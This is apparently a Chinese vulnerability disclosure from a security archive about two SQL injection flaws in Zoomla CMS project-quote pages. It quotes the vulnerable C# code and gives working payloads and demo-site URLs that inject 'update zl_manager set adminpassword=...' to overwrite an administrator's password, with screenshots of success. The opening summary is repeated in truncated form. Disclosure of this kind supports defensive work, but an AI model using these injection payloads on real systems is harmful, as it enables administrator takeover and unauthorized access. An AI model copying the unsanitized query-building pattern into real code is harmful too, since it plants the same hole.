### 简要描述: 好像没修复,友情来提交下。本来已经放弃了的 ### 详细说明: 某功能还是存在两个UPDATE型注入,咱们可以秒改管理员密码。当然了也可以insert管理员的,为了避免一些问题就不用insert来测试了 涉及的两个类: public class MIS_Project_ProQuote : Page, IRequiresSessionState public class MIS_Target_mailQuote : Page, IRequiresSessionState ### 漏洞证明: 注入点1: 代码如下 ``` public class MIS_Project_ProQuote : Page, IRequiresSessionState protected void Button1_Click(object sender, EventArgs e) { if (!string.IsNullOrEmpty(base.Request["types"]) && this.types == "7") { string text = base.Request["id"].ToString(); //ID参数 string value = this.ProID.Value; if (!string.IsNullOrEmpty(value)) { this.mps = this.bll.SelectByType(DataConverter.CLng(value)); if (this.mps.TargetID.ToString() == "") { this.HiddenField1.Value = text; //将ID参数赋值给隐藏域 } else { this.HiddenField1.Value = this.mps.TargetID + "|" + text; } this.bll.Update("TargetID='" + this.HiddenField1.Value + "'", "ID='" + DataConverter.CLng(value) + "'"); //隐藏域没有过滤直接带入更新的查询,产生漏洞 base.Response.Write("<script>...
### 简要描述: 好像没修复,友情来提交下。本来已经放弃了的 ### 详细说明: 某功能还是存在两个UPDATE型注入,咱们可以秒改管理员密码。当然了也可以insert管理员的,为了避免一些问题就不用insert来测试了 涉及的两个类: public class MIS_Project_ProQuote : Page, IRequiresSessionState public class MIS_Target_mailQuote : Page, IRequiresSessionState ### 漏洞证明: 注入点1: 代码如下 ``` public class MIS_Project_ProQuote : Page, IRequiresSessionState protected void Button1_Click(object sender, EventArgs e) { if (!string.IsNullOrEmpty(base.Request["types"]) && this.types == "7") { string text = base.Request["id"].ToString(); //ID参数 string value = this.ProID.Value; if (!string.IsNullOrEmpty(value)) { this.mps = this.bll.SelectByType(DataConverter.CLng(value)); if (this.mps.TargetID.ToString() == "") { this.HiddenField1.Value = text; //将ID参数赋值给隐藏域 } else { this.HiddenField1.Value = this.mps.TargetID + "|" + text; } this.bll.Update("TargetID='" + this.HiddenField1.Value + "'", "ID='" + DataConverter.CLng(value) + "'"); //隐藏域没有过滤直接带入更新的查询,产生漏洞 base.Response.Write("<script> location.href='Default.aspx?ID=" + text + "';</script>"); } } } ``` 注册前台用户 访问: http://demo.zoomla.cn/mis/target/proquote.aspx?types=7&id=1 点击引用按钮 改包 [<img src="https://images.seebug.org/upload/201312/1910393991e390e22b511d2cdc7c1e1665fcb764.png" alt="t01a3ed9323afd40b5e.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/1910393991e390e22b511d2cdc7c1e1665fcb764.png) [<img src="https://images.seebug.org/upload/201312/191039541337abd7983e983d558f605d2c655769.png" alt="t017cba55f1f4bb81b7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/191039541337abd7983e983d558f605d2c655769.png) Proid输入随意的整数。 将id修改为注入的代码: 1';update zl_manager set adminpassword='77963b7a931377ad4ab5ad6a9cd718aa' where adminname='test123';-- 此处注入和之前的不太一样。 实际上这里是hidden的参数有问题,但是由于hidden参数要二次从id赋值,所以只要改ID这个参数即可,直接改hidden是无效的。 查看测试管理员密码已经被修改: [<img src="https://images.seebug.org/upload/201312/19104026317e41cef1b83a7ece6cec1b25e3dd00.png" alt="t016adc21e29ae1dfdd.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/19104026317e41cef1b83a7ece6cec1b25e3dd00.png) 注入点2: 代码如下 ``` public class MIS_Target_mailQuote : Page, IRequiresSessionState protected void Button1_Click(object sender, EventArgs e) { string value = this.ProID.Value; string str = string.Empty; if (!string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"] == "8") { if (!string.IsNullOrEmpty(base.Request["ID"])) { str = base.Request["id"].ToString(); //漏洞点,id参数无过滤 } if (!string.IsNullOrEmpty(value)) { this.bminfo.Update("MID=" + str, "ID=" + DataConverter.CLng(value)); //str变量直接带入更新操作 if (!string.IsNullOrEmpty(base.Request["ParentID"])) { base.Response.Write("<script> window.Patent.location.reload(); </script>"); return; } base.Response.Write("<script>window.Patent.location.reload();</script>"); } } } ``` 前台注册用户。 http://demo.zoomla.cn/mis/target/mailquote.aspx?id=1;update zl_manager set adminpassword='08f8e0260c64418510cefb2b06eee5cd' where adminname='test123';--&types=8 访问上面的链接后,点击引用!!!!截断一下 然后改包,为下面的参数添加一个整型值: [<img src="https://images.seebug.org/upload/201312/1910420543abdd1d3f1774e739aaeeaca0edab4f.png" alt="t01bf85ed4c816827c5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/1910420543abdd1d3f1774e739aaeeaca0edab4f.png) 查看数据库,发现测试用的管理员密码已经被修改了 [<img src="https://images.seebug.org/upload/201312/191042365dd4894710bfdafa74695828d3262ac3.png" alt="t01304ecc4900729bca.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/191042365dd4894710bfdafa74695828d3262ac3.png)